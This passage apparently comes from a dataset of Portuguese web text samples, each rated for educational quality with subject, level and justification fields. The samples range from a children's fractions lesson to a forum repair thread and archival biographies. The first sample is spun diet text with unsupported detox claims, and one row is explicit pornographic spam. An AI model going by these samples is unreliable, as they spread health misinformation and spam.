cidadão ingere mais calorias e gorduras do que gasta, esta será armazenada em forma de gordura, de forma especial pela barriga. Emagrecer é possível e todos são capazes de surgir ao teu intuito.Não comer comida processada, como lasanha congelada, almôndegas prontas, bolos de caixinha, cookies e barrinhas de cereais industrializadas, em razão de contêm diversas toxinas e favorecem o acumulo de gordura. Quando consumidos à noite, muito eventualmente serão armazenados como gordura na barriga. Para não ter fome tem que-se comer alimentos ricos em fibras trocando o pão francês pelo integral, o macarrão comum pelo integral e o arroz branco pelo integral. Ingerir a cada 3 horas é muito relevante, mas não tem que consumir muito. Basta 1 fruta com um torrada integral ou 1 iogurte com cereais integrais, como por exemplo. Acesse como adicionar fibras em todas as refeições: Alimentos ricos em fibras.Levando isso em consideração, você com certeza irá entender que ingerir alimentos gordurosos e industrializados serão muito mais complicados de serem absorvidos do que um sanduíche natural. Sem apresentar que a qualidade do alimento é muito mais inferior do que o sanduíche, em conclusão, suas proporções de calorias nem sequer se comparam com um pacote de salgadinhos (extenso aliado dos foliões de plantão).O famoso Suco Detox, vêm fazendo o superior sucesso e não é por sorte. Além de hidratante e delicioso, o Suco Detox em geral têm ação desintoxicante, quer dizer, ajudam nosso corpo a eliminar toxinas, aumentando sendo assim o bem estar e auxiliando a prevenir imensas doenças. Existem Sucos Detox Pra Todos os Gostos: Desde sucos que ajudam a emagrecer, até sucos que asseguram um sono melhor à noite. Além do mais, Quanto ao preparo, não se preocupe, a maioria das receitas são feitas só batendo todos os ingredientes no liquidificador e servindo. Acabei de lembrar-me de outro website que bem como poderá ser proveitoso, l...",original,original,original,original,2,0.4 +"e ou não em Qualquer campo Forma autorizada do nome Forma(s) paralela(s) de nome Outra(s) forma(s) de nome Datas de existência Histórico Estado Legal Locais Contexto geral Pontos de acesso de ocupação Notas dos pontos de acesso de ocupação Pontos de acesso de assunto Pontos de acesso local Identificador de autoridade arquivística de documentos Identificador da instituição Fontes Notas de manutenção +Adicionar novo critério +E +Ou +Não +Limitar resultados para: +Filtrar resultados por: +Objeto digital disponível Sim Não +Tipo de entidade disponível Entidade coletiva Família Pessoa +Campo vazio Forma autorizada do nome Forma(s) paralela(s) de nome Outra(s) forma(s) de nome Datas de existência Histórico Estado Legal Locais Contexto geral Pontos de acesso de ocupação Notas dos pontos de acesso de ocupação Pontos de acesso de assunto Pontos de acesso local Identificador de autoridade arquivística de documentos Identificador da instituição Fontes Notas de manutenção +Encontrar resultados onde: +Relacionamento controles é a esposa de é controlado por é de propriedade de é o amigo de é o antecessor de é o associado de é o avô de é o cliente de é o filho de é o fornecedor de é o irmão de é o neto de é o pai de é o parceiro de negócios de é o primo de é o proprietário de é o subordinado de é o sucessor de é o superior de +Relacionado Registro de autoridade +Ordenar por: +Data modificada +Nome +Identificador +Direção: +Ascendente +Descendente +André Dreyfus +Adicionar a área de transferência +Pessoa +(1897-1952) +Nascido em 1897, em Pelotas (RS), Dreyfus formou-se na Faculdade de Medicina (c. 1919) da Universidade do Brasil, atualmente denominada Universidade Federal do Rio de Janeiro (UFRJ). Fundou, em 1919, um curso particular de Histologia e Embriologia. Em 1922, já incluía aulas sobre Genética e Evolução nos seus cursos, sendo pioneiro nesses estudos em nosso país. Em 1927, foi para São Paulo onde integrou o corpo docente da USP, como assistente das matérias de Histologia e Embriologia na Faculdade de Medicina. Lá lecionou nas Faculdades de Filosofia, Ciências e Letras (FFCL), Medicina, Farmácia e Odontologia; e nas Escolas de Sociologia e Política e Paulista de Medicina. +Quando foi criado o regime de tempo integral, fixou-se no Departamento de Biologia Geral da FFCL; depois do seu concurso para professor catedrático e da obtenção do regime de tempo integral, manteve sempre estreitos vínculos científicos e sociais com todos os laboratórios para cuja formação contribuiu. Foi diretor da FFCL por um período de quatro anos. +Um ponto marcante para o desenvolvimento de Genética no Brasil foi a descoberta de Dreyfus pelo dr. Harry M. Miller Jr., da Fundação Rockefeller. A admiração por Dreyfus e a confiança nele depositada levou a Fundação Rockefeller a trazer para o seu laboratório, na FFCL, o professor Theodosius Dobzhansky, um dos maiores geneticistas e pensadores da Biologia, assim como a financiar a compra de equipamentos e a pesquisa do laboratório. Dreyfus, Dobzhansky, seus amigos e colegas Brieger, em Piracicaba, Krug no Instituto Agronômico de Campinas (IAC) e o dr. Harry M. Miller Jr. foram os primeiros responsáveis pelo desenvolvimento da Genética moderna no Brasil. +Nos últimos anos de sua vida foi atormentado por problemas de saúde relacionados com pressão alta. Apesar da saúde delicada, continuou imprudentemente ativo. Dias antes de falecer, escreveu volumoso trabalho de crítica a uma danosa reforma do ensino que estava sendo projetada. Horas antes de morrer, ainda terminou a elaboração de um trabalho mostrando que a ideia de superioridade racial é geneticamente absurda. Dreyfus faleceu aos 54 anos, em São Paulo no dia 16 de fevereiro de 1952. +Antônio Geraldo Lagden Cavalcanti +Adicionar a área de transferência +Pessoa +[1916-1990] +Cavalcanti foi médico, educador, cientista e fundador do Centro de Pesquisas Genéticas (CPGEn). Em 1933, ele entrou para a Faculdade de Medicina do Rio de Janeiro, graduando-se cinco anos depois. Apesar de ter se graduado em m...",original,original,original,original,4,0.8 +"2014 setembro 26 « Blog do Kuramoto +setembro 26, 2014 Posted by Helio Kuramoto | Acesso Aberto, Acesso Livre, artigo, Política OA, Via Dourada | Deixe um comentário",original,original,original,original,1,0.2 +"Meu Dreamcast não liga nem roda o motor... +por Convidad em 6/1/2009, 10:46 +Ganhei um Dreamcast do meu primo, mas ele já veio com defeito. Quando eu ligo, o LED acende e a tela dá umas piscadas e depois fica azul, e o motor não roda. +Última edição por Igor Isaias Banlian em 7/1/2009, 06:45, editado 2 vez(es) (Razão : Editado, de praxe, apenas para melhor visualização do seu problema.) +Re: Meu Dreamcast não liga nem roda o motor... +por Igor Isaias Banlian em 7/1/2009, 06:38 +Esse defeito pode ter muitas causas. Vou citar as principais e como você pode testar cada uma: +1º) Defeito no BA. O BA é um chip (CI - Circuito Integrado) que comanda a Unidade Ótica e fica localizado na placa na qual a Unidade Ótica é conectada através de um Cabo Flat. +Para testar se o defeito está nela, basta desconectar a placa onde está ligada a Unidade Ótica da placa principal do Dreamcast. Se depois disso ele ligar e exibir a tela de Boot (a que possuí as opções para o VMU, etc.) o defeito estará mesmo no BA. +2º) A Unidade Ótica estar queimada ou em curto. +Para testar, basta desconectar o cabo que conecta a Unidade Ótica à placa que fica logo abaixo dela. Se depois disso ele ligar e exibir a tela de Boot (a que possuí as opções para o VMU, etc.) o defeito estará mesmo na Unidade Ótica. +3º) A Placa Fonte do Dreamcast. +Para testar, você precisa de um Multímetro Digital e dessa imagem: +Então basta você testar com o Multímetro na escala da Voltagem em Corrente Contínua (CC em Português ou DC em Inglês), essas voltagens de 3.3V, 5V e 12V (usando um dos 3 pinos Terra - GND - como referência). Se no lugar de alguma dessas, estiver uma voltagem mais de 1V abaixo ou acima disso, a sua Placa Fonte está com defeito e deverá ser substituída ou consertada por alguém que saiba fazer esse serviço. +Obs.: Muitas outras coisas podem ocasionar esse problema, desde um simples Resistor, Diodo ou Transistor queimado ou danificado, até mesmo a GPU, CPU, Memórias, ou Bios com algum defeito...",original,original,original,original,2,0.4 +"Olá, pequenos exploradores da matemática! Já pararam para pensar como a matemática está presente em tudo que fazemos? Hoje, vamos embarcar em uma aventura para desvendar os mistérios das frações e dos decimais, mostrando como eles são super úteis no nosso dia a dia. Preparados? + +Imagine que sua mãe fez uma pizza deliciosa e cortou em 8 pedaços iguais. Você está faminto e come 2 pedaços. Sabia que você comeu uma fração da pizza? Exatamente! Você comeu 2 de 8 pedaços, ou seja, 2/8 (dois oitavos) da pizza. A fração representa uma parte de um todo. O número de baixo (8) indica em quantas partes o todo foi dividido, e o número de cima (2) mostra quantas dessas partes você pegou. Fácil, não é? + +Agora, pense em uma barra de chocolate dividida em 10 pedacinhos. Cada pedacinho representa 1/10 (um décimo) da barra. Se você comer 3 pedacinhos, terá comido 3/10 (três décimos) da barra. Mas e se quisermos representar isso de outra forma? É aí que entram os decimais! 3/10 também pode ser escrito como 0,3 (zero vírgula três). A vírgula separa a parte inteira (o que vem antes da vírgula) das partes menores que um inteiro (o que vem depois da vírgula). + +Vamos a outro exemplo? Imagine que você tem R$1,50 (um real e cinquenta centavos). O número 1 representa a parte inteira (1 real), e o 50 representa a parte decimal (50 centavos, que é metade de um real, ou seja, 50/100 ou 0,50). Viu como os decimais e as frações estão relacionados? + +As frações e os decimais nos ajudam a medir coisas com mais precisão. Por exemplo, quando vamos à padaria comprar pão, podemos pedir “meio quilo” (1/2 kg ou 0,5 kg). Ou, quando medimos nossa altura, usamos números decimais, como 1,20 metros (um metro e vinte centímetros). + +Para finalizar, pense em um jogo: você e seus amigos dividem uma folha em 4 partes iguais para desenhar. Cada parte representa 1/4 (um quarto) da folha. Se dois amigos usarem suas partes, juntos eles terão usado 2/4 (dois quartos) da folha, que é o mesmo que 1/2 (metade) da folha. Consegue ver como as frações nos ajudam a entender o mundo ao nosso redor? + +Então, da próxima vez que você dividir um bolo, comprar um doce ou medir alguma coisa, lembre-se das frações e dos decimais. Eles são ferramentas matemáticas incríveis que nos ajudam a entender e a interagir com o mundo de uma maneira muito mais completa! E agora, que tal procurar outros exemplos de frações e decimais no seu dia a dia? Onde mais você os encontra?",Matemática,Frações e decimais,anos iniciais (1º ao 5º ano),"O trecho é excelente para o ensino fundamental, introduzindo frações e decimais de forma lúdica e contextualizada. Utiliza exemplos práticos e relevantes para o dia a dia dos alunos, como pizza, chocolate e dinheiro. A linguagem é acessível e o conteúdo é apresentado de maneira clara e progressiva, facilitando a compreensão. Além disso, incentiva a reflexão e a busca por exemplos no cotidiano, promovendo um aprendizado significativo.",5,1.0 +"Mustique Qualidade Villa On privada Hope Bay. Infinito... - 3543653 +Imóvel 3543653 +Mustique Qualidade Villa On privada Hope Bay. Infinito Sal Pool. Furnish elegante Descrição +Mustique Qualidade Villa On privada Hope Bay. Infinito Sal Pool. Furnish elegante Take a Virtual Tour +3. 5 BDRs privados. Ao ar livre da água da chuva chuveiros. Kid Friendly. Ocean Front. +'Vistas n Sons é uma das vilas mais elegantemente desenhados e decorados em Bequia. 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Cada quarto tem ar condicionado, mas tem dois conjuntos de portas e janelas, um conjunto com grelhas de estilo plantação e um conjunto com painéis de vidro, permitindo assim aos hóspedes flexibilidade para escolher o seu ambiente de dormir preferida e mix de pontos de vista, brisa do mar, de segurança e / ou ar -conditioning. Dois quartos estão ligados por grandes casas de banho pia dupla e vestiários privados com amplo construído em armários e gavetas para o viajante mais bem embalado. +Os extensos jardins são primorosamente bem cuidado com uma abundância de folhagem tropical, flores, plantas, árvores floridas e árvores de fruto. Escolha mamão fresco, manga e toranja todas as manhãs diretamente da propriedade para o pequeno almoço ou um lanche. Laranjas, limões-chave e abacate também são cultivados na propriedade e disponíveis para escolher, dependendo da época do ano. A casa inteira é construído a partir de materiais naturais. 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Having them on-...",original,original,original,original,0,0.0 +"""Como mulheres, sabemos muito bem que os poderosos frequentemente tentam silenciar nossas vozes quando falamos em proteger os mais vulneráveis em nossas comunidades. Estamos aqui hoje para mostrar que nos recusamos a ser silenciadas. Ao redor do mundo, nas prefeituras, em quadros corporativos e nas ruas de nossas cidades, as mulheres exigem ações para proteger o planeta das ameaças das mudanças climáticas."" +Com essas palavras a prefeita de Paris e líder do Grupo de Liderança Climática de Cidades (C40), Anne Hidalgo, celebrou o lançamento oficial da Women4Climate, iniciativa dedicada ao incentivo e crescimento das mulheres nas cidades que fazem parte do C40, rede mundial das 90 maiores cidades comprometidas com o combate ao aquecimento global. +O Acordo de Paris, até então o maior compromisso assumido para frear o aquecimento global, foi na realidade concebido por um grupo de mulheres – detalhe que não ganhou tanto destaque nas notícias. A história dos bastidores da negociação contou com o papel fundamental de Christiana Figueres, secretária-executiva da Convenção-Quadro das Nações Unidas sobre Mudanças Climáticas (UNFCCC); de Ségolène Royal, ministra francesa do meio ambiente; e de Laurence Tubiana, embaixadora da França nas negociações sobre mudanças climáticas. +Essa é apenas uma entre tantas histórias que podem inspirar e impulsionar ações de lideranças femininas a seguirem seus trabalhos. E é isso que a Women4Climate quer contar. Mais do que isso, a iniciativa pede que – por inúmeras razões, mas também porque as mulheres são ainda mais vulneráveis às mudanças climáticas – os chefes de Estado reconheçam esse trabalho e sistematicamente envolvam as mulheres na criação de políticas de baixo carbono. +Um estudo realizado pelo United Nations Population Fund analisou a relação entre as mudanças climáticas e as mulheres e concluiu que a maior vulnerabilidade feminina quanto a isso está nas barreiras sociais, econômicas e políticas que limitam sua capacidade de reação. O relatório afirma que, estatisticamente, desastres naturais tendem a matar mais mulheres do que homens. A participação feminina nas tomadas de decisão referentes às crises geradas pelas mudanças climáticas é de crucial importância para que sejam elaboradas estratégias sensíveis às questões de gênero. +Em dois anos, o número de prefeitas das cidades-membro do C40 passou de quatro para 15, representando 100 milhões de pessoas. A Women4Climate vai oferecer orientação e suporte às mulheres envolvidas na iniciativa e seus projetos de sustentabilidade. O programa é voltado às líderes de cidades e também de organizações da sociedade civil. Em paralelo, o C40 desenvolverá pesquisas para suprir a falta de informações sobre as questões que envolvem gênero, cidades e clima. +Confira o que as prefeitas de Paris, Barcelona, Madrid, Roma, Cape Town, Bangalore, Tóquio, Yokohama, Washington D.C., Varsóvia, Basileia, Estocolmo, Sydney, Caracas e Durban têm a dizer sobre a representatividade da mulher em cargos de poder e na defesa ao futuro do planeta. +Clique para acessar o mapa. +Conteúdos relacionados +Cidades +Cidades são vulneráveis às mudanças climáticas, mas têm o poder para combatê-las +Artigo 23 Jun 2017 +Clima +O que são as “perdas e danos” das mudanças climáticas? +Artigo 13 Abr 2022 +Cidades +Ser mulher, pelas mulheres do WRI Brasil +Artigo 08 Mar 2017 +Clima +COP 19 fez pequenos avanços, mas precisamos de saltos mais ousados +Artigo 26 Nov 2013 +Assine nossa newsletter +Email +Footer menu - main +Programas +Projetos +Notícias +Publicações +Footer menu - secondary +Nosso Trabalho +Programas +Clima +Cidades +Florestas +Footer menu - Additional +Contato +Eventos +Sala de Imprensa +Biblioteca +Trabalhe Conosco +Política de Privacidade +About (English) +Footer menu - Offices +Escritórios +WRI China +WRI Estados Unidos +WRI India +WRI Indonesia +WRI México +WRI Brasil +Rua Cláudio Soares, 72 Cj. 1510 +05422-030 | São Paulo (SP) +Tel.: +55 11 3032-1120 +Av. Independência, 1299 Cj. 401 +90035-077 | Porto Alegre (RS) +Tel.: +55 51...",original,original,original,original,4,0.8 +"Esse padrão também se repete em nossa vida. Às vezes nos tornamos prisioneiros de nós mesmos e, na tentativa de escapar, acabamos ainda mais enredados nas redes que construímos ao nosso redor. Criamos, sem perceber, becos sem saída, duplos laços psicológicos que nos mantêm presos em uma situação que nos prejudica ou nos causa desconforto. +Alan Watts resumiu a idéia do duplo vínculo psicológico de uma maneira magistral: “crie um problema tentando resolvê-lo, lamentar porque um é afligido e teme o medo “. +As queixas são um exemplo perfeito para entender como o laço psicológico duplo funciona no nosso dia a dia. Os lamentos não apenas expressam um estado de descontentamento, mas também multiplicam as dificuldades, porque nos concentramos apenas nos obstáculos e nas conseqüências negativas do fato pelo qual nos queixamos. +Lamentar é como colocar uma bandagem preta nos olhos, querendo ver as cores do mundo. Ao desenvolver uma visão negativa do que aconteceu, somos impedidos de encontrar a solução porque nossa mente se torna uma fábrica de problemas. Quando nos apegamos às reclamações, a tudo que deu errado e ao que pode dar errado, nos condenamos à imobilidade. +As queixas fazem com que, para o problema, devemos também acrescentar um problema de atitude às circunstâncias, mais a negatividade mental que nos impede de encontrar soluções. Por essa razão, lamentar se torna um beco sem saída, um empate psicológico duplo. +Tal é o caso de pensamentos recorrentes negativos, por exemplo. Quando queremos remover um pensamento indesejado de nossa mente, a tentativa de parar de pensar nele ativa um mecanismo de hipervigilância que reforça esse pensamento ainda mais. É uma batalha perdida antecipadamente porque caímos na armadilha que tendemos. Quanto mais você tentar parar de pensar em elefantes cor de rosa, mais você vai pensar sobre eles. +Sempre que se preocupar preocupação, temos medo ansiedade ou ficamos deprimidos porque estamos tristes, estamos criando uma situação que achamos impossível escapar, porque você não pode resolver um problema com a mesma mentalidade com a qual ele foi criado. +A chave, ou pelo menos uma delas, está na não ação ou no princípio de Wu-Wei; isto é, deixe tudo seguir seu curso natural. Se você não se esforçar para remover um pensamento da sua mente, mais cedo ou mais tarde ele desaparecerá, porque o curso natural da mente envolve saltar de um pensamento para outro sem se apegar a alguém em particular. +Portanto, se você não alimentar o medo do medo, a preocupação pela preocupação ou a tristeza pela tristeza, essas emoções acabarão desaparecendo, como se fossem nuvens arrastadas pelo vento. É uma aceitação radical , assumir uma atitude de distanciamento mental em que nos separamos da mentalidade que criou o problema, a fim de resolvê-lo. +Um poema de Seng-ts’an chamado “Tratado sobre Fé na Mente” é particularmente revelador para se livrar do duplo vínculo psicológico: +” O sábio não tenta; +Se você trabalha com sua mente em sua mente, +Bem Mais Mulher - 26 de julho de 2019",original,original,original,original,3,0.6 +"Torta Quente de Alface | Tortas e bolos | Mais Você - Receitas Gshownotíciasesportesentretenimentovídeosgshow.comReceitas Gshow +gshowreceitas gshowtortas e bolosTorta Quente de Alface +- Atualizado em 30/03/2016 11h03 +Torta Quente de AlfaceIngredientes +2 pacotes de pão de forma sem casca, picado +300 g de presunto fatiado e cortado em tirinhas +1 pé de alface crespa (ou lisa) cortada em tirinhas (ou escarola ou rúcula) +2 tomates maduros sem pele e sem sementes cortados em cubinhos +150 g de queijo parmesão ralado na hora misturado com 25 g de farinha de rosca +Modo de Preparoº - Numa tigela misture muito bem o pão de forma sem casca picado com a mussarela ralada, o queijo prato ralado, o presunto fatiado cortado em tirinhas, a alface crespa (ou lisa) cortada em tirinhas (ou escarola, ou rúcula) e os tomates maduros sem pele e sem sementes, cortados em cubinhos.º- Acrescente a maionese, o creme de leite com soro, o leite, pitada de noz-moscada e sal a gosto e misture novamente até que todos ingredientes estejam incorporados.º - Transfira a mistura para um refratário (23 cm x 20 cm) untado e enfarinhado com farinha de rosca, polvilhe o queijo parmesão ralado na hora misturado com a farinha de rosca e decore com tomate cortado em fatias. Leve ao forno pré-aquecido a 180º C por 30 minutos. Sirva quente.RENDIMENTO: 12 porçõesCategorias",original,original,original,original,1,0.2 +"DAVID SCHWIMMER - PAPELPOP +Sarah Paulson e John Travolta irreconhecíveis no trailer de “American Crime Story” +Chegou! A nova série derivada de “American Horror Story”, a “American Crime Story”, ganhou hoje o seu primeiro trailer completo que mostra um pouco do que vem por aí na temporada de estreia. Como você já deve estar sabendo, a série também será em formato antológico e nesse primeiro ano será focada no julgamento do ex-atleta […] +por Pedro Rocha em 03/12/2015 16:51 +Paul McCartney tinha um papel garantido em “Friends”! Saiba quem ele interpretaria +Sabia que Paul McCartney quase participou de uma das nossas séries favoritas de todos os tempos? O eterno Beatle tinha um papel garantido na quarta temporada de “Friends”, mas teve que recusar o convite. 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A primeira temporada leva o nome de “People V OJ Simpson” e vai reviver o caso do ex-atleta O.J., acusado […] +por Felipe Dantas em 21/05/2015 18:00",original,original,original,original,1,0.2 +"Portal Escola: Atividades de vogais e consoantes para alfabetização +Atividades de vogais e consoantes para alfabetização, que fala sobre, adivinhações com a letra U, pinte de azul as vogais e de vermelho as consoantes, escreva nos quadrinhos a vogal inicial, indique o número de vogais e consoantes em cada quadro, e atividades para treinar vogais. +Adivinhações com a letra U +Vou pintar as consoantes de azul e as vogais de vermelho +Escreva nos quadrinhos a vogal inicial do nome dos desenhos +Indique o número de vogais e de consoantes em cada quadro +Vamos treinar vogais +Pinte os quadrinhos das figuras cujos nomes começam com vogais +Adivinhações com a letra O",original,original,original,original,4,0.8 +"Taxa de desemprego sobe para 12,5% em Portugal - Açoriano Oriental +A taxa de desemprego estimada pela OCDE para Portugal subiu para os 12,5 por cento em Setembro, enquanto na média dos 34 países permaneceu nos 8,2 por cento, foi divulgado.",original,original,original,original,1,0.2 +"Servem de alimento pra muitos bixos, e quanto a transmitir doenças, os insetos capazes disso nao estao nada mais do que controlando uma possivel superpopulação e mantendo o equilibrio natural.. As doenças que a gente tem tem o mesmo objetivo, é darwinismo, o mais adaptado sobrevive",original,original,original,original,1,0.2 +"A Infração Administrativa no Estatuto da Criança e do Adolescente, 2ª edição",original,original,original,original,3,0.6 +"Pastor sugere adoção da regra Billy Graham contra acusações de assédio +Assuntos Assédio Sexual Billy Graham escândalos sexuais Igrejas Evangélicas LifeWay Christian Resource pastor Thom Rainer Regra Billy Graham",original,original,original,original,1,0.2 +"julho 2019 / Perto dos livros / O Brasil que nos espera +Romance de Ignácio de Loyola Brandão dá respostas tanto para o momento de descrença mundial quanto para a crise brasileira +Ignácio de Loyola Brandão, Foto: Carla Formanek +Há uma tendência mundial de narrativas distópicas, fermentadas nos temores causados pelas rápidas alterações climáticas, que têm amedrontado os contemporâneos, algo que nos devolve à Guerra Fria, quando por pouco não ocorreu uma hecatombe nuclear em função da disputa entre os Estados Unidos e a União Soviética. Talvez o grande livro recente nesta linhagem seja A estrada (2006), de Cormac McCarthy, em que um pai e um filho enfrentam os canibais para chegar a uma área segura e assim recomeçar a vida. No cinema, o fim mundo em um futuro próximo também é algo muito presente, como na série The walking dead e no filme Bird box, o que criou um imaginário de recepção para este tipo de história. +Ignácio de Loyola Brandão sempre esteve identificado com esta linhagem. Nos anos 1970, quando o pânico nuclear unia a intelectualidade e o Brasil passava pela ditadura militar, Loyola ganhou projeção internacional como seu Zero, publicado primeiro na Itália (1974), pela Feltrinelli, em tradução de Antonio Tabucchi, obra que seria censurada no Brasil. Em 1981, nos estertores da ditadura, sai outro romance distópico, Não verás país nenhum. Unindo estas duas obras, a percepção de que esta realidade extrema só pode ser representada pela fragmentação narrativa e pela coleção de frases retiradas dos meios de comunicação. +Não é por acaso que o novo romance de Loyola completa o que poderíamos chamar de trilogia apocalítica em um momento em que o país vive uma grande crise política, social e econômica. Dessa forma, seria correto pensar que Desta terra nada vai sobrar, a não ser o vento que sopra sobre ela dá respostas tanto para o momento de descrença mundial quanto para a crise brasileira, aguçada com o impeachment da presidente Dilma Rousseff. É, assim, um romance visceralmente nacional, mas com uma conexão internacional pela onda das distopias. +Antes montado do que narrado, este livro traz capítulos que se iniciam com uma epígrafe, retirada de vários lugares, desde músicas a artigos de jornal, e que servem como tema do que vai aparecer na sequência. Neste universo pós-humano, não há a figura do narrador. O romance é organizado como se fosse um big brother em que assistimos ao que acontece nos cenários mais remotos através de câmeras, que filmam tudo e colocam imediatamente na internet, numa alegoria à onipresença das redes sociais, e a chips instalados nas pessoas que vigiam os seus pensamentos. Ninguém mais escapa aos registros contínuos. Nesta mecânica, as cenas são episódios captados pelo sistema de controle. +Loyola cria uma narrativa que se assume como imagem gravada. A fragmentação, portanto, será a matéria estrutural do romance, que cresce caoticamente para criar no fruidor o sentido de desorientação neste futuro em que todos estão perdidos, desmemoriados e vigiados. Neste tempo distante e próximo, o país é um caos administrado por presidentes provisórios que se sucedem e por corruptos que usam tornozeleira eletrônica. Esta instabilidade das instituições cria uma existência fluída, de multidões que não se reconhecem mais em um país tornado abstração geopolítica. Os personagens se perguntam a toda hora se estão no Brasil. +Usando alegorias e referências diretas a fatos da história recentíssima, Loyola escreveu um romance de busca, focado em um casal que rompe o relacionamento, aumentando o grau de dispersão por uma realidade confusa. Enquanto acompanhamos a separação de Felipe e Clara e depois a procura da amada que Felipe empreende, as câmeras vão revelando de forma exaustiva este outro agora, que nada mais é do que um presente que se fez absurdo. “Há quarenta anos foram fechados os institutos de pesquisa”, como fica dito no capítulo O presidente com Síndrome de Ulmer, em uma referência aos cortes na pesquisa. +Para dar con...",original,original,original,original,4,0.8 +"Um bom tempo é a escolha perfeita para nós! Grandes mamas parafusado por um grande Provocando buceta e boquete em pau gra 6: Sexo romântico e apaixonado Novas maneiras de acariciar um grande 7: Forte Sim, nós ouvimos você. Ela gosta de chupar paus Mais jovens de filmes porno para aqueles que querem mais do que temos. O pensamento de seu gosto, podemos criar o primeiro categorias, Pornô brasileiro da categoria. Madrasta, Nikita Von James ações pau 6:",original,original,original,original,0,0.0 +"TUMULOS FAMOSOS: ALBRECHT DURER - Arte Tumular - 620 - Johannisfriedhof ,Nuremberg,Bavaria (Bayern), Germany +ALBRECHT DURER - Arte Tumular - 620 - Johannisfriedhof ,Nuremberg,Bavaria (Bayern), Germany +Local: Johannisfriedhof ,Nuremberg,Bavaria (Bayern), Germany +Fotos: KMC Gowan, Don Connelly e Bea +Albrecht Dürer (Nuremberga, 21 de maio de 1471 — Nuremberga, 6 de abril de 1528) foi um gravador, pintor e ilustrador alemão. +Dürer era filho de um ourives de origem húngara, tendo morado duas vezes na Itália quando adulto. Em 1512, foi nomeado pintor de corte de Maximiliano I da Germânia. Em 1520, depois da morte do imperador, partiu para os Países Baixos, visitou muitas das cidades do norte e conheceu pintores e homens de letras, entre os quais Erasmo de Roterdão. Nos últimos anos da sua vida, em Nuremberga, trabalhou em tratados teóricos, pois seus interesses, no espírito humanista do Renascimento, abrangiam muitos campos: a matemática, a geografia, a arquitetura, a geometria e a fortificação +Terceiro dos dezoito filhos de um ourives do mesmo nome, que seguiria a profissão do pai, não tivesse demonstrado enorme talento quando começou como aprendiz de Michael Wolgemut em 1486, desenhando o seu primeiro retrato. Ao mesmo tempo em que aprendia pintura com Wolgemut, observava as técnicas de gravura em metal e em madeira, e artistas como Schongauer e Housebook o inspiraram a criar seu próprio estilo. +Em 7 de julho de 1494, foi obrigado a se casar com Agnes Frey, filha de um mercador local, por um arranjo feito pela sua família à sua revelia . Seu relacionamento com a esposa é pouco conhecido e a reputação dela foi manchada postumamente por amigos de Dürer, mas provavelmente por causa disso ele não permaneceu muito tempo em Nuremberga. No outono de 1494 viajou à Itália deixando a esposa em casa. +A evidência de sua passagem por Veneza deriva dos desenhos e gravuras com profundas ligações com as obras de autores italianos como Mantegna, Pollaiuolo, Lorenzo de Credi e outros. Durante 1495 voltou para Nuremberga, onde permaneceu por dez anos. +A conseqüência dessa ênfase nos escritos foi a pequena produção artística. Apenas três pinturas, um retrato de Hieronymus Holtzschuher, uma Madona com o Menino e dois painéis mostrando os Quatro Apóstolos: São João com São Pedro ao fundo e São Paulo com São Marcos ao fundo. Algumas gravuras em cobre, retratos basicamente, como o do Grande Cardeal, Frederico de Wise, Pirckheimer, Melanchthon e Erasmo de Roterdão, que contem a inscrição ""Imago Erasmi Roterodami ab Alberto Durero ad vivam effigiem deliniata"" e ""ΤΗΝ ΚΡΕΙΤΤΩ ΤΑ ΣΥΓΓΡΑΜ ΜΑΤΑ ΔΙΞΕΙ"" que pode ser traduzido por ""Seus escritos dão uma imagem melhor do homem que este retrato"". +Dois de seus livros foram publicados em vida: Instrução para medições à régua e ao compasso, de 1525, e o Tratado sobre fortificações, de 1527. O livro Sobre proporção do corpo humano saiu logo após sua morte, em 1528, com a idade de 56 anos. +Fonte: pt.wikipedia.iorg +Marcadores: .ARTE, .Arte ' Albrecht Dürer +Local: Am Johannisfriedhof, 90419 Nuremberg, Germany",original,original,original,original,4,0.8 +"Transformar a dor em arte é o meu lema! Escrevo poesias e expresso sobre a saúde do ser bio-psico-socio-espiritual. A vida com mais beleza, leveza, ética e poética é o caminho do Ser Integral. +Menu +Poesias e Prosas +Poesia e Meditação +Poemas Sociais +Poesia Brasileira +Podcasts +Depressão em pauta +Poemas sobre Depressão +Depressão – depoimentos +Autopublição +Flores Cantam Poesias fotografias e poemas +As Pegadas do Jabuti ebook +Terapia Transpessoal +Tag: Jung +Você conhece Nise da Silveira? +Vim conhecer o trabalho da médica psquiatra Nise da Silveira (1905-1999) na Alemanha durante uma aula de alemão. A professora … Mais +afeto, arteterapia, cultura brasileira, história do Brasil, hospícios, humanizada, inconsciente, Jung, loucura, manicômios, Nise, nise da Silveira, psquiatra, terapia +O cavaleiro preso na armadura, em poema +Cabeça abatidaDe elmos, e elmos, e elmosPresente do ferreiroQue constrói armadurasSem saber soltá-las No fundo da florestaUm espelho esculpidoCom o … Mais +autoconhecimento, biblioterapia, Jung, leitura, livro, o cavaleiro preso na armadura, poesia e terapia, psicologia, psicologia analítica, psicologia transpessoal, rusty armor, símbolos, simbolismo, soltar, tao, terapia +Poema de sonhos +O chafariz foi retirado da praça matrizNo seu lugar ficou a cicatriz no chãoO que se construirá lá? Quem construirão? … Mais +consciências, Jung, onírica transpessoal, sonhos +Carta para Jung +Essa é a carta de C. G. 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Agradeço por seu tempo e leitura. +Visualizar Perfil Completo → +Follow Expressão com Poesia on WordPress.com +Visitas +163.188 cliques +Esta obra está licenciada com uma Licença +Creative Commons Atribuição Não Comercial Compartilha Igual 4.0 Internacional +Crie um site ou blog no WordPress.com +Seguir Seguindo +Expressão com Poesia +Junte-se a 1.445 outros seguidores +Cadastre-me +Já tem uma conta do WordPress.com? Faça login agora. +Expressão com Poesia +Personalizar +Seguir Seguindo +Registre-se +Fazer login +Denunciar este conteúdo +Visualizar site no Leitor +Gerenciar assinaturas +Esconder esta barra +Carregando comentários... +Escreva um Comentário +E-mail +Nome +Site +Privacidade e cookies: Esse site utiliza cookies. Ao continuar a usar este site, você concorda com seu uso.",original,original,original,original,3,0.6 +"Já parou para pensar em como sabemos que as coisas aconteceram antes ou depois umas das outras? A resposta está em uma ferramenta poderosa: a linha do tempo! Imagine uma régua gigante, onde cada marca representa um momento importante da história. Essa régua é a linha do tempo, e ela nos ajuda a organizar os eventos e a entender a ordem em que aconteceram. + +A linha do tempo não serve apenas para decorar datas. Ela nos permite visualizar a história de forma clara e organizada. Por exemplo, podemos ver como a invenção da imprensa por Gutenberg, por volta de 1450, revolucionou a forma como as pessoas compartilhavam informações, abrindo caminho para o Renascimento e, séculos depois, para a internet que usamos hoje. Percebe a conexão? Sem a imprensa, talvez a internet não existisse! + +Para entender melhor, pense na sua própria vida. Você nasceu, aprendeu a andar, foi para a escola, fez amigos... Se 